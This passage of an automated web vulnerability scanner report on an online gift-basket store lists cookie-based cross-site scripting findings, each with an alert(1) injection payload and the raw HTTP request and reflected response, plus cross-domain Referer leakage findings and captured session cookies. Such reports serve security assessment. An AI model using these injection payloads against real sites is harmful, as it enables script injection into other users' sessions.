The value of the ShopperManagerEnterprise cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c2533'-alert(1)-'2e3adfed67e was submitted in the ShopperManagerEnterprise cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shoppingbasket.do HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800baskets.com/product.do?baseCode=93260&dataset=11309
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618c2533'-alert(1)-'2e3adfed67e; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001; __utmz=1.1304903358.1.1.utmcsr=ww30.1800flowers.com|utmccn=(referral)|utmcmd=referral|utmcct=/collection.do; cmTPSet=Y; CMAVID=70091303843240316067555; __unam=bbc31a8-12fd24e67c1-26d7039-1; __utma=1.534657557.1304903358.1304903358.1304903358.1; __utmc=1; __utmb=1.2.10.1304903358; 87011923-VID=16601209214853; 87011923-SKEY=6825682268674136395; HumanClickSiteContainerID_87011923=STANDALONE; CoreAt=90074784=1|2|0|0|0|0|0|1|0|0|0|0|1|1304903358|1_|1561_&; cmRS=&t1=1304903446336&t2=1304903453532&t3=1304903458838&t4=1304903443093&lti=1304903458838&ln=verify&hr=javascript%3AcheckNSubmit%28false%29&fti=1304903458845&fn=searchform%3A0%3BproductForm%3A1%3Bsigninform%3A2%3Bfindgiftform%3A3%3BUNDEFINED%3A4%3B&ac=1:S&fd=1%3A22%3AlocationCode%3B&uer=&fu=/product.do&pi=PRODUCT%3A%20The%20Popcorn%20Factory%20Party%20Pup%20Snack%20Tin%20%2893260%29&ho=blooms.1800flowers.com/cm%3F&ci=90074784; JSESSIONID=0000a4jGFqAQQsPqkpo4AlBHArV:-1

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:20:34 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 31975


           <html>
<head>

   <meta http-equiv="Pragma" content="no-cache">
   <meta http-equiv="Cache-Control" content="no-cache">
   <meta http-equiv="Expir
...[SNIP]...
<!--

lpAddVars('visitor','VisitorID','aed35ad7-54a3-48bc-a8e0-0c9f3d76e618c2533'-alert(1)-'2e3adfed67e');

lpAddVars('page','pageid','shoppingbasket');

//-->
...[SNIP]...

4.4. http://ww30.1800baskets.com/shoppingbasket.do [ShopperManagerEnterprise cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /shoppingbasket.do

Issue detail

The value of the ShopperManagerEnterprise cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f8869'-alert(1)-'6549178ccfff42aec was submitted in the ShopperManagerEnterprise cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shoppingbasket.do?actionEvent=PayPalCheckout&cartItem%280%29.type=0&cartItem%280%29.itemId=5687d050-633d-4bcd-8079-f1cfa4a09ce8&cartItem%280%29.groupId=0&cartItem%280%29.flexOption=&cartItem%280%29.zip=10010&cartItem%280%29.international=false&cartItem%280%29.deliveryMonth=5&cartItem%280%29.deliveryDay=19&cartItem%280%29.deliveryYear=2011&cartItem%280%29.deliveryDate=Thursday%2C+May+19%2C+2011&cartItem%280%29.quantity=1&cartItem%281%29.type=0&cartItem%281%29.itemId=13c7607a-55cd-4ea1-aee4-94efa0d7dd24&cartItem%281%29.groupId=1&cartItem%281%29.flexOption=&cartItem%281%29.zip=10010&cartItem%281%29.international=false&cartItem%281%29.deliveryMonth=5&cartItem%281%29.deliveryDay=20&cartItem%281%29.deliveryYear=2011&cartItem%281%29.deliveryDate=Friday%2C+May+20%2C+2011&cartItem%281%29.quantity=1&groupSize=2&cartItemsCount=2 HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800baskets.com/shoppingbasket.do
Cache-Control: max-age=0
Origin: http://ww30.1800baskets.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618f8869'-alert(1)-'6549178ccfff42aec; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001; __utmz=1.1304903358.1.1.utmcsr=ww30.1800flowers.com|utmccn=(referral)|utmcmd=referral|utmcct=/collection.do; cmTPSet=Y; CMAVID=70091303843240316067555; __unam=bbc31a8-12fd24e67c1-26d7039-1; 87011923-VID=16601209214853; 87011923-SKEY=6825682268674136395; HumanClickSiteContainerID_87011923=STANDALONE; JSESSIONID=0000a4jGFqAQQsPqkpo4AlBHArV:-1; __utma=1.534657557.1304903358.1304903358.1304903358.1; __utmc=1; __utmb=1.3.10.1304903358; CoreAt=90074784=1|3|0|0|0|2|0|1|0|0|0|0|1|1304903358|1_|1561_&; cmRS=&t1=1304903463520&t2=-1&t3=1304903467089&t4=1304903461973&lti=1304903467089&ln=&hr=javascript%3AsetEvent%28PayPalCheckout%2CshoppingBasketForm%29&fti=1304903467576&fn=searchform%3A0%3BshoppingBasketForm%3A1%3BUNDEFINED%3A2%3B&ac=1:S&fd=&uer=&fu=/shoppingbasket.do&pi=18B%3Ao-Checkout%20-%20Shopping%20Basket%20Page&ho=blooms.1800flowers.com/cm%3F&ci=90074784

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:50:48 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 31981


           <html>
<head>

   <meta http-equiv="Pragma" content="no-cache">
   <meta http-equiv="Cache-Control" content="no-cache">
   <meta http-equiv="Expir
...[SNIP]...
<!--

lpAddVars('visitor','VisitorID','aed35ad7-54a3-48bc-a8e0-0c9f3d76e618f8869'-alert(1)-'6549178ccfff42aec');

lpAddVars('page','pageid','shoppingbasket');

//-->
...[SNIP]...

4.5. http://ww30.1800baskets.com/template.do [ShopperManagerEnterprise cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /template.do

Issue detail

The value of the ShopperManagerEnterprise cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2cd3a'-alert(1)-'94ea47eb64a was submitted in the ShopperManagerEnterprise cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /template.do?id=template3&page=2000 HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800flowers.com/collection.do?dataset=10305
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000MKdbdCo70zXsBXxIys-COzm:-1; ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e6182cd3a'-alert(1)-'94ea47eb64a; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:17:14 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 37911


<html>
<head>

<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">


<title></title>
<meta name="description" content="ThePopco
...[SNIP]...
<!--

lpAddVars('visitor','VisitorID','aed35ad7-54a3-48bc-a8e0-0c9f3d76e6182cd3a'-alert(1)-'94ea47eb64a');

lpAddVars('page','pageid','template');

//-->
...[SNIP]...

5. Cross-domain Referer leakage  previous  next
There are 3 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


5.1. http://ww30.1800baskets.com/deliverycalendarnew.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /deliverycalendarnew.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

POST /deliverycalendarnew.do?month=5&year=2011&locationType=1&itemCount=1&prodType=GPT&productPrice=29.99&zip=10010&country=&productSKU=93260&contextPageType=PRODUCT&isGeoSell=false&field=deliveryDate&baseCode=93260&nextMonthAvailableCheck=true&page=product HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800baskets.com/product.do?baseCode=93260&dataset=11309
Origin: http://ww30.1800baskets.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000MKdbdCo70zXsBXxIys-COzm:-1; ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001; __utmz=1.1304903358.1.1.utmcsr=ww30.1800flowers.com|utmccn=(referral)|utmcmd=referral|utmcct=/collection.do; cmTPSet=Y; CMAVID=70091303843240316067555; 87011923-VID=16601209214853; 87011923-SKEY=6825682268674136395; HumanClickSiteContainerID_87011923=STANDALONE; __unam=bbc31a8-12fd24e67c1-26d7039-1; __utma=1.534657557.1304903358.1304903358.1304903358.1; __utmc=1; __utmb=1.2.10.1304903358; CoreAt=90074784=1|2|0|0|0|0|0|1|0|0|0|0|1|1304903358|1_|1561_&; cmRS=&t1=1304903446336&t2=1304903453532&t3=1304903453756&t4=1304903443093&lti=1304903453755&ln=sd&hr=javascript%3AcheckNShowAppParamLightBoxCalendar%28deliveryDate%2Ctrue%29%3B&fti=&fn=searchform%3A0%3BproductForm%3A1%3Bsigninform%3A2%3Bfindgiftform%3A3%3BUNDEFINED%3A4%3B&ac=&fd=&uer=&fu=&pi=PRODUCT%3A%20The%20Popcorn%20Factory%20Party%20Pup%20Snack%20Tin%20%2893260%29&ho=blooms.1800flowers.com/cm%3F&ci=90074784
Content-Length: 0

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:18:13 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=00001N288SgFQQcgjdh8LBTc6IT:-1; Path=/
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 52934


<html>
<head>    
<link rel="stylesheet" type="text/css" href="http://media1.1800flowers.com/800f_assets/jet/website/styles/baskets/flowers_enterprise_apr1.css"/>

<script type="text/javascript" src="http://media1.1800flowers.com/800f_assets/jet/website/scripts/flowers/flowers_enterprise_apr9.js"></script>
...[SNIP]...
<span class="calNavText"><img alt="Previous" src="http://media3.1800flowers.com/800f_assets/jet/website/images/baskets/brandable/calarrowsleft.gif" border="0" /></span>
...[SNIP]...
<span class="calNavText"><img alt="Next" src="http://media3.1800flowers.com/800f_assets/jet/website/images/baskets/brandable/calarrowsright.gif" border="0"/></span>
...[SNIP]...
<span id="shipMessageFed" class="shipMsg"><img src="http://media2.1800flowers.com/800f_assets/images/flowers/images/shop/catalog/shipping_ups.jpg" /></span>
                           <span id="shipMessage" class="shipMsg"><img src="http://media2.1800flowers.com/800f_assets/images/flowers/images/shop/catalog/shipping_florist.jpg" /></span>
...[SNIP]...

5.2. http://ww30.1800baskets.com/product.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /product.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /product.do?baseCode=93260&dataset=11309 HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800baskets.com/template.do?id=template3&page=2000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000MKdbdCo70zXsBXxIys-COzm:-1; ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001; __utmz=1.1304903358.1.1.utmcsr=ww30.1800flowers.com|utmccn=(referral)|utmcmd=referral|utmcct=/collection.do; __utma=1.534657557.1304903358.1304903358.1304903358.1; __utmc=1; __utmb=1.1.10.1304903358; cmTPSet=Y; CMAVID=70091303843240316067555; 87011923-VID=16601209214853; 87011923-SKEY=6825682268674136395; HumanClickSiteContainerID_87011923=STANDALONE; CoreAt=90074784=1|1|0|0|0|0|0|0|0|0|0|0|1|1304903358|1_|1561_&; cmRS=&t1=1304903358829&t2=1304903368545&t3=1304903441095&lti=1304903441095&ln=&hr=/product.do%3FbaseCode%3D93260%26dataset%3D11309&fti=&fn=searchform%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=18B%3Atemplate-The%20Popcorn%20Factory&ho=blooms.1800flowers.com/cm%3F&ci=90074784&ul=http%3A//ww30.1800baskets.com/template.do%3Fid%3Dtemplate3%26page%3D2000&rf=http%3A//ww30.1800flowers.com/collection.do%3Fdataset%3D10305

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:17:19 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 83726


                                                <html xmlns="http://www.w3.org/1999/xhtml"
    xmlns:og="http://ogp.me/ns#"
    xmlns:fb="http://www.face
...[SNIP]...
<meta property="og:type" content="product_service"/>

   
<link rel="image_src" href="http://media3.1800flowers.com/800f_assets/images/flowers/images/shop/catalog/93052Lz.jpg" />    
<!-- /*Defect Id:INC000000351640 User:201815 Date:Sep-29-2010 Reason:Meta Tag Change Start*/ -->
...[SNIP]...
<link rel="canonical" href="http://www.1800baskets.com/product.do?baseCode=93260" />

<link rel="shortcut icon" href="http://media6.1800flowers.com/800f_assets/jet/website/images/baskets/runtime/favicon.ico" />

<link rel="stylesheet" type="text/css" href="http://media1.1800flowers.com/800f_assets/jet/website/styles/baskets/flowers_enterprise_apr1.css"/>


<!-- global css zone -->
...[SNIP]...
</style>
<script src="http://w.sharethis.com/widget/?tabs=web%2Cpost%2Cemail&amp;charset=utf-8&amp;style=rotate&amp;publisher=a396cc33-4aff-4879-b5e0-d9ab5133031a&amp;headerbg=%23669933&amp;linkfg=%23663399&amp;offsetLeft=-155&amp;embeds=true&amp;button=false&amp;onmouseover=false" type="text/javascript"></script>
...[SNIP]...
</script>


<link rel="stylesheet" type="text/css" href="http://media6.1800flowers.com/800f_assets/jet/website/styles/baskets/triadbannerpp.css"/>


</head>
...[SNIP]...
</a><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/Account_nav_divider.gif" alt=""><a class="NH-headerlink" href="https://ww30.1800baskets.com/customerwelcome.do" target="_self" rank="">
...[SNIP]...
</a><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/Account_nav_divider.gif" alt=""><a class="NH-headerlink" href="http://ww30.1800baskets.com/ordertracking.do" target="_self" rank="">
...[SNIP]...
</a><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/Account_nav_divider.gif" alt=""><a class="NH-headerlink" href="http://help.1800flowers.com" target="_self" rank="">Customer Service</a>
...[SNIP]...
<a href="http://ww30.1800baskets.com/shoppingbasket.do" rel="nofollow">
       <img src="http://media1.1800flowers.com/800f_assets/jet/website/images/baskets/brandable/icon-cart.gif" alt="Shopping Cart" border="0"/>
       </a>
...[SNIP]...
<a href="http://ww30.1800baskets.com/shoppingbasket.do" rel="nofollow"><img src="http://media1.1800flowers.com/800f_assets/jet/website/images/baskets/brandable/btn-hdr-checkout.gif" alt="checkout" border="0"/></a>
...[SNIP]...
</div>    
    <script type="text/javascript" src="http://media3.1800flowers.com/800f_assets/jet/website/scripts/flowers/dropdowntabs_v3.js"></script>
...[SNIP]...
<div id="enlargeImgHide" onMouseOut="hideObject('enlargeImg')">

<img
name="bigimage"
src="http://media3.1800flowers.com/800f_assets/images/flowers/images/shop/catalog/93052Lz.jpg"
border="0" alt="Popcorn Snack Tin - 1800baskets.com" />

</div>
...[SNIP]...
<td valign="top" id="trsHeader">


<img border="0" src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/datasetdefaultleft_spacer.gif" />

</td>
...[SNIP]...
<td valign="top" id="trsHeader">


<img border="0" src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/datasetdefaultright_spacer.gif" />

</td>
...[SNIP]...
<div class="trsProductImage">

<img id="prodimg"
name="prodimg"
src="http://media3.1800flowers.com/800f_assets/images/flowers/images/shop/catalog/93052Lz.jpg"
alt="Popcorn Snack Tin - 1800baskets.com" />
</div>
...[SNIP]...
');"
id="calendarLink" class="calendarImage">
<img
src="http://media2.1800flowers.com/800f_assets/jet/website/images/baskets/runtime/calendar.jpg"
alt="Calendar" width="16" height="16" border="0" />
</a>
...[SNIP]...
<td align="left" style="padding-top: 10px; padding-right:8px;"> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/spacer.gif"
height="10" />
<br />
...[SNIP]...
<br />
<img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/spacer.gif" height="10" />
</td>
...[SNIP]...
<a
id="verify" name="verify" href="javascript:checkNSubmit(false)"><img
src="http://media6.1800flowers.com/800f_assets/jet/website/images/baskets/runtime/btn_addtobasket.gif"
border="0" id="btnAddToBasket" />
</a>
...[SNIP]...
<a id="verifyd"
name="verifyd"><img
src="http://media6.1800flowers.com/800f_assets/jet/website/images/baskets/runtime/btn_addtobasket_gray.gif"
border="0" id="btnAddToBasket" />
</a>
...[SNIP]...
<input value="0" name="Tab_1_state" type="hidden">
<link rel="stylesheet" type="text/css" href="http://media4.1800flowers.com/800f_assets/jet/website/styles/baskets/martha-tab_sep.css"/>

<table id="Tab_1_table" border="0" cellSpacing="0" cellPadding="0" class="gui-tab" width="100%">
...[SNIP]...
<div id = "prodMOP7" class = "prodMOP7">
                   <img src="http://a764.g.akamai.net/f/764/16742/1h/www.1800flowers.com/800f_assets/jet/website/images/baskets/brandable/icon_guarantee_new.gif" border="0" />
               </div>
...[SNIP]...
<a href="http://ww30.1800baskets.com/product.do?baseCode=91637&cm_cid=r">
               <img src="http://media6.1800flowers.com/800f_assets/images/flowers/images/shop/catalog/91637Lt.jpg" border="0" width="49" height="54" /></a>
...[SNIP]...
<div class="trsFooterLinks">
<a class="footerlink" href="http://help.1800flowers.com" target="_self" rank="">Customer Service</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/footer_divider.gif" alt=""><a class="footerlink" href="http://ww30.1800baskets.com/template.do?id=template4&amp;page=9000" target="_self" rank="">
...[SNIP]...
</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/footer_divider.gif" alt=""><a class="footerlink" href="http://ww30.1800baskets.com/template.do?id=template4&amp;page=9004" target="_self" rank="">
...[SNIP]...
</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/footer_divider.gif" alt=""><a class="footerlink" href="http://affiliateprogram.1800flowers.com" target="_self" rank="">Affiliate Program</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/footer_divider.gif" alt=""><a class="footerlink" href="http://ww30.1800baskets.com/collection.do?dataset=11088" target="_self" rank="">
...[SNIP]...
</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/footer_divider.gif" alt=""><a class="footerlink" href="http://ww30.1800baskets.com/collection.do?dataset=11117" target="_self" rank="">
...[SNIP]...
</a> - Send us <a class="copylink" href="http://vovici.com/wsb.dll/s/2b42g408c4" rel="nofollow" target="_blank">Feedback on this Site</a>
...[SNIP]...
</div>
<script type="text/javascript" src="http://media1.1800flowers.com/800f_assets/jet/website/scripts/flowers/flowers_enterprise_apr9.js"></script>
<script type="text/javascript" src="http://media3.1800flowers.com/800f_assets/jet/website/scripts/flowers/thirdparty_merged_mday1.js"></script>
<script type="text/javascript" src="http://media6.1800flowers.com/800f_assets/jet/website/scripts/flowers/product_apr7.js"></script>
<script type="text/javascript" src="http://media3.1800flowers.com/800f_assets/jet/website/scripts/flowers/calendar/date.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://media5.1800flowers.com/800f_assets/jet/website/scripts/flowers/martha-tab_aug2.js"></script>
...[SNIP]...
</script>


                                       <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
<div id="rr_allpages"><script type="text/javascript" src="http://media.richrelevance.com/rrserver/js/0.4/p13n.js"></script>
...[SNIP]...
<!-- Mercent Tag Start -->

<script src="https://cdn.mercent.com/js/tracker.js"
   type="text/javascript">
</script>
...[SNIP]...
<noscript><img
   src="https://link.mercent.com/image.ashx?merchantID=OneEHFlowers"
   style="display: none">
</noscript>
...[SNIP]...
</div><script type="text/javascript" src="//libs.coremetrics.com/eluminate.js"></script>
<script type="text/javascript" src="http://media1.1800flowers.com/800f_assets/jet/website/scripts/flowers/cmcustom.js"></script>
...[SNIP]...
</script>


   <script language="javascript1.1" src="http://media2.1800flowers.com/800f_assets/jet/website/scripts/flowers/livePerson/800-chat-sales-english_mtagconfig.js" type="text/javascript"></script>
...[SNIP]...
<!-- End LP Custom Variables-->


<iframe frameborder="0" width="0" height="0" src="http://adsfac.us/pct_mx.asp?L=305608&source=if"></iframe>
<img src="http://xcdn.xgraph.net/17572/ai/xg.gif?pid=17572&sid=12001&type=ai&pcid=product" width="1" height="1" />


</body>
...[SNIP]...

5.3. http://ww30.1800baskets.com/template.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /template.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /template.do?id=template3&page=2000 HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800flowers.com/collection.do?dataset=10305
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000MKdbdCo70zXsBXxIys-COzm:-1; ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:16:16 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Set-Cookie: JSESSIONID=0000dNGqKXu-V4E9FonaYphG7gq:-1; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 37878


<html>
<head>

<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">


<title></title>
<meta name="description" content="ThePopco
...[SNIP]...
<link rel="canonical" href="http://www.1800baskets.com/template.do?id=template3&page=2000" />

<link rel="shortcut icon" href="http://media6.1800flowers.com/800f_assets/jet/website/images/baskets/runtime/favicon.ico" />


<link rel="stylesheet" type="text/css" href="http://media1.1800flowers.com/800f_assets/jet/website/styles/baskets/flowers_enterprise_apr1.css"/>


<!-- global css zone -->
...[SNIP]...
</a><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/Account_nav_divider.gif" alt=""><a class="NH-headerlink" href="https://ww30.1800baskets.com/customerwelcome.do" target="_self" rank="">
...[SNIP]...
</a><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/Account_nav_divider.gif" alt=""><a class="NH-headerlink" href="http://ww30.1800baskets.com/ordertracking.do" target="_self" rank="">
...[SNIP]...
</a><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/Account_nav_divider.gif" alt=""><a class="NH-headerlink" href="http://help.1800flowers.com" target="_self" rank="">Customer Service</a>
...[SNIP]...
<a href="http://ww30.1800baskets.com/shoppingbasket.do" rel="nofollow">
